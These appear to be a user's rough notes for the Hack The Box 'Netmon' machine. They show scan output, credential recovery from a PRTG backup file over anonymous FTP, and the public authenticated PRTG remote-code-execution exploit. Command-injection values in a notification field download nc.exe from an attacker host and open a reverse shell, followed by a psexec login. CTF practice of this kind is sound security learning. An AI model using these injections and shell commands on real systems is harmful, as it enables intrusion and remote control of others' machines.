ANONYMOUS FTP

PRTG EXPLOIT

REVERSE SHELL USING NC.EXE

PORT STATE SERVICE VERSION

21/tcp open ftp Microsoft ftpd

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| 02-03-19 12:18AM 1024 .rnd

| 02-25-19 10:15PM <DIR> inetpub

| 07-16-16 09:18AM <DIR> PerfLogs

| 02-25-19 10:56PM <DIR> Program Files

| 02-03-19 12:28AM <DIR> Program Files (x86)

| 02-03-19 08:08AM <DIR> Users

|_02-25-19 11:49PM <DIR> Windows

| ftp-syst:

|_ SYST: Windows_NT

80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)

|_http-server-header: PRTG/18.1.37.13946

| http-title: Welcome | PRTG Network Monitor (NETMON)

|_Requested resource was /index.htm

|_http-trane-info: Problem with XML parsing of /evox/about

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds

https://kb.paessler.com/en/topic/463-how-and-where-does-prtg-store-its-data

wget -m ftp://10.10.10.152/ProgramData/Paessler

C:\Users\All Users\Application Data\Paessler\PRTG Network Monitor

root@kali:/home/kali/Desktop/hackthebox/netmon/10.10.10.152/ProgramData/Paessler/PRTG Network Monitor# grep 'PRTG Configuration.old.bak' -A2 -ie 'password' | less

<dbpassword>

<!-- User: prtgadmin -->

PrTg@dmin2018

</dbpassword>

root@akg:/home/akg/Desktop/hackthebox/netmon# searchsploit prtg

PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution | windows/webapps/46527.sh

root@akg:/home/akg/Desktop/hackthebox/netmon# cp /usr/share/exploitdb/exploits/windows/webapps/46527.sh .

https://www.codewatch.org/blog/?p=453

http://netmon.htb/index.htm

prtgadmin - PrTg@dmin2019

setup-> Account Settings > Notifications add-new notification enable 'execute program'

root@akg:/home/akg/Desktop/hackthebox/netmon# cp /usr/share/windows-resources/binaries/nc.exe .

test.txt; Invoke-WebRequest http://10.10.14.33/nc.exe -OutFile c:\Users\Public\Downloads\nc.exe

test.txt; c:\Users\Public\Downloads\nc.exe 10.10.14.33 1234 -e cmd.exe

https://hackso.me/netmon-htb-walkthrough/

https://github.com/M4LV0/PRTG-Network-Monitor-RCE

root@kali:/home/kali/Desktop/hackthebox/netmon# ./exploit.sh -u 10.10.10.152 -c "_ga=GA1.2.389734410.1593095851; _gid=GA1.2.1211030407.1593095851; OCTOPUS1813713946=e0VDRTc0NEE3LTlBRkYtNDA2NS04QjJFLTgyRENDOUQ5NzhCRH0%3D"

-c = cookie grap with burp

root@kali:/home/kali/Desktop/hackthebox/netmon# psexec.py pentest:'P3nT3st!'@netmon.htb